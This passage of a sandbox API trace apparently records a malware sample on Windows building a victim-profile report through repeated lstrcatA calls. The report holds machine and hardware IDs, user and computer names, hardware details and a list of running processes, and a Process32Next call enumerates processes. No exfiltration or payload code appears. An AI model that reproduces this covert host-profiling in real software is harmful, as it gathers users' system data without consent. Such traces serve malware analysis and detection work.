16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- "
[0054.865] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- ", lpString2="property.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe"
[0054.865] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe ["
[0054.865] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.865] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.865] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.865] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [", lpString2="1700" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700"
[0054.865] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n"
[0054.865] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="womanboard.exe")) returned 1
[0054.866] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- 